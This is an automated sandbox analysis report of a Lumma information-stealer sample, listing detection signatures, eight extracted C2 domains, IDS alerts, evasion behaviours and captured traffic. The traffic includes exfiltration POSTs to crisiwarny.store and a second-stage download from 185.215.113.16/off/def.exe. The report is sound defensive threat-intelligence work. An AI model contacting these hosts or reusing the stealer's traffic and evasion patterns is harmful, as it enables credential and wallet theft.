Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1543662
MD5:	59ec0f8f976e6da1e0d4fe5898a1c909
SHA1:	5f011d8fcd5847112f438d95a65f4da6fc15e4e9
SHA256:	851ad11e336605283db6bf83f52b6b08d32e3c5a5c611dee027677d309da173d
Tags:	exeuser-Bitsight
Infos:

Detection

LummaC

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected LummaC Stealer

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Disable Windows Defender notifications (registry)

Disable Windows Defender real time protection (registry)

Disables Windows Defender Tamper protection

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

LummaC encrypted strings found

Machine Learning detection for dropped file

Machine Learning detection for sample

Modifies windows update settings

PE file contains section with special chars

Query firmware table information (likely to detect VMs)

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

AV process strings found (often used to terminate AV products)

Allocates memory with a write watch (potentially for evading sandboxes)

Checks for debuggers (devices)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains long sleeps (>= 3 min)

Detected potential crypto function

Downloads executable code via HTTP

Dropped file seen in connection with other malware

Drops PE files

Enables debug privileges

Entry point lies outside standard sections

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Searches for user specific document files

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Uses insecure TLS / SSL version for HTTPS connection

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

file.exe (PID: 6292 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 59EC0F8F976E6DA1E0D4FE5898A1C909)

V5GJ8YFILNHAP99OFNDK6O9IE.exe (PID: 5900 cmdline: "C:\Users\user\AppData\Local\Temp\V5GJ8YFILNHAP99OFNDK6O9IE.exe" MD5: 89595DF1365EF9A4D1CB06E2E56DE5E1)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Malware Configuration

Threatname: LummaC

{"C2 url": ["founpiuer.store", "crisiwarny.store", "fadehairucw.store", "thumbystriw.store", "presticitpo.store", "necklacedmny.store", "scriptyprefej.store", "navygenerayk.store"], "Build id": "4SD0y4--legendaryy"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000000.00000003.2560488144.0000000001030000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.2360077632.0000000001022000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.2560781455.0000000001031000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.2358320175.0000000001022000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.2358596283.0000000001022000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 6292	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 6292	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
Click to see the 2 entries

Suricata Signatures

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-28T08:17:13.618747+0100	2054653	1	A Network Trojan was detected	192.168.2.5	49706	104.21.95.91	443	TCP
2024-10-28T08:17:14.931326+0100	2054653	1	A Network Trojan was detected	192.168.2.5	49708	104.21.95.91	443	TCP
2024-10-28T08:18:15.106941+0100	2054653	1	A Network Trojan was detected	192.168.2.5	49763	104.21.95.91	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-28T08:17:13.618747+0100	2049836	1	A Network Trojan was detected	192.168.2.5	49706	104.21.95.91	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-28T08:17:14.931326+0100	2049812	1	A Network Trojan was detected	192.168.2.5	49708	104.21.95.91	443	TCP

ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-28T08:18:16.022799+0100	2019714	2	Potentially Bad Traffic	192.168.2.5	49764	185.215.113.16	80	TCP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-28T08:17:38.955266+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.5	49709	104.21.95.91	443	TCP
2024-10-28T08:18:12.397108+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.5	49760	104.21.95.91	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Found malware configuration

Source: file.exe.6292.0.memstrmin

Malware Configuration Extractor: LummaC {"C2 url": ["founpiuer.store", "crisiwarny.store", "fadehairucw.store", "thumbystriw.store", "presticitpo.store", "necklacedmny.store", "scriptyprefej.store", "navygenerayk.store"], "Build id": "4SD0y4--legendaryy"}

Multi AV Scanner detection for submitted file

Source: file.exe

ReversingLabs: Detection: 39%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\V5GJ8YFILNHAP99OFNDK6O9IE.exe

Joe Sandbox ML: detected

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown

HTTPS traffic detected: 104.21.95.91:443 -> 192.168.2.5:49708 version: TLS 1.0

Source: unknown	HTTPS traffic detected: 104.21.95.91:443 -> 192.168.2.5:49706 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.95.91:443 -> 192.168.2.5:49709 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.95.91:443 -> 192.168.2.5:49758 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.95.91:443 -> 192.168.2.5:49759 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.95.91:443 -> 192.168.2.5:49760 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.95.91:443 -> 192.168.2.5:49763 version: TLS 1.2

Source:

Binary string: E:\defOff\defOff\defOff\obj\Release\defOff.pdb source: V5GJ8YFILNHAP99OFNDK6O9IE.exe, 00000004.00000002.2911555103.0000000000D92000.00000040.00000001.01000000.00000006.sdmp, V5GJ8YFILNHAP99OFNDK6O9IE.exe, 00000004.00000003.2778427834.0000000004FE0000.00000004.00001000.00020000.00000000.sdmp

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.5:49708 -> 104.21.95.91:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49708 -> 104.21.95.91:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49763 -> 104.21.95.91:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.5:49709 -> 104.21.95.91:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.5:49706 -> 104.21.95.91:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49706 -> 104.21.95.91:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.5:49760 -> 104.21.95.91:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: founpiuer.store
Source: Malware configuration extractor	URLs: crisiwarny.store
Source: Malware configuration extractor	URLs: fadehairucw.store
Source: Malware configuration extractor	URLs: thumbystriw.store
Source: Malware configuration extractor	URLs: presticitpo.store
Source: Malware configuration extractor	URLs: necklacedmny.store
Source: Malware configuration extractor	URLs: scriptyprefej.store
Source: Malware configuration extractor	URLs: navygenerayk.store

Source: global traffic

HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Mon, 28 Oct 2024 07:18:15 GMTContent-Type: application/octet-streamContent-Length: 2869760Last-Modified: Mon, 28 Oct 2024 06:09:16 GMTConnection: keep-aliveETag: "671f2a8c-2bca00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 40 2c 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 80 2c 00 00 04 00 00 ab 54 2c 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 9c 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 61 69 73 79 67 77 67 78 00 80 2b 00 00 a0 00 00 00 6a 2b 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 70 64 72 62 67 61 71 79 00 20 00 00 00 20 2c 00 00 04 00 00 00 a4 2b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 40 2c 00 00 22 00 00 00 a8 2b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: Joe Sandbox View	IP Address: 104.21.95.91 104.21.95.91
Source: Joe Sandbox View	IP Address: 185.215.113.16 185.215.113.16

Source: Joe Sandbox View

ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS

Source: Joe Sandbox View	JA3 fingerprint: 1138de370e523e824bbca92d049a3777
Source: Joe Sandbox View	JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: Network traffic

Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.5:49764 -> 185.215.113.16:80

Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: crisiwarny.store
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 52Host: crisiwarny.store
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 12840Host: crisiwarny.store
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 15082Host: crisiwarny.store
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 20572Host: crisiwarny.store
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 1244Host: crisiwarny.store
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 87Host: crisiwarny.store
Source: global traffic	HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16

Source: unknown

HTTPS traffic detected: 104.21.95.91:443 -> 192.168.2.5:49708 version: TLS 1.0

Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16

Source: global traffic

HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16

Source: global traffic	DNS traffic detected: DNS query: presticitpo.store
Source: global traffic	DNS traffic detected: DNS query: crisiwarny.store

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: crisiwarny.store

Source: file.exe, 00000000.00000003.2736509103.000000000103A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2737594760.000000000103D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/
Source: file.exe, file.exe, 00000000.00000003.2736867379.000000000101C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2737062814.000000000101E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2736509103.000000000103A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2737594760.000000000103D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exe
Source: file.exe, 00000000.00000003.2736867379.000000000101C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2737062814.000000000101E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exePuE
Source: file.exe, 00000000.00000003.2736509103.000000000103A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2737594760.000000000103D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/z
Source: file.exe, 00000000.00000003.2737717306.0000000000FFE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16:80/off/def.exerosoft
Source: file.exe, 00000000.00000003.2358962493.0000000005574000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: file.exe, 00000000.00000003.2358962493.0000000005574000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: file.exe, 00000000.00000003.2358962493.0000000005574000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: file.exe, 00000000.00000003.2358962493.0000000005574000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: file.exe, 00000000.00000003.2358962493.0000000005574000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: file.exe, 00000000.00000003.2358962493.0000000005574000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: file.exe, 00000000.00000003.2358962493.0000000005574000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: file.exe, 00000000.00000003.2358962493.0000000005574000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: file.exe, 00000000.00000003.2358962493.0000000005574000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: file.exe, 00000000.00000003.2358962493.0000000005574000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: file.exe, 00000000.00000003.2358962493.0000000005574000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: file.exe, 00000000.00000003.2103566026.0000000005588000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2103433624.0000000005588000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2103364703.000000000558B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: file.exe, 00000000.00000003.2560419400.00000000055ED000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696425136400800000.2&ci=1696425136743.
Source: file.exe, 00000000.00000003.2737642194.00000000055EB000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2736612020.00000000055E8000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2560437569.00000000055E7000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2676736027.00000000055EB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696425136400800000.1&ci=1696425136743.12791&cta
Source: file.exe, 00000000.00000003.2103566026.0000000005588000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2103433624.0000000005588000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2103364703.000000000558B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: file.exe, 00000000.00000003.2103566026.0000000005588000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2103433624.0000000005588000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2103364703.000000000558B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: file.exe, 00000000.00000003.2103566026.0000000005588000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2103433624.0000000005588000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2103364703.000000000558B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: file.exe, 00000000.00000003.2737642194.00000000055EB000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2736612020.00000000055E8000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2560437569.00000000055E7000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2676736027.00000000055EB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: file.exe, 00000000.00000003.2560419400.00000000055ED000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/u1AuJcj32cbVUf9NjMipLXEYwu2uFIt4lsj-ccwVqEs.36904.jpg
Source: file.exe, 00000000.00000003.2560419400.00000000055ED000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://crisiwarny.store/
Source: file.exe, 00000000.00000003.2560419400.00000000055ED000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2358262161.00000000055ED000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://crisiwarny.store/P
Source: file.exe, 00000000.00000003.2358320175.0000000001022000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2737594760.000000000103D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2358596283.0000000001022000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://crisiwarny.store/api
Source: file.exe, 00000000.00000003.2560488144.0000000001030000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://crisiwarny.store/apijh
Source: file.exe, 00000000.00000003.2736509103.000000000103A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2737594760.000000000103D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://crisiwarny.store/apire1
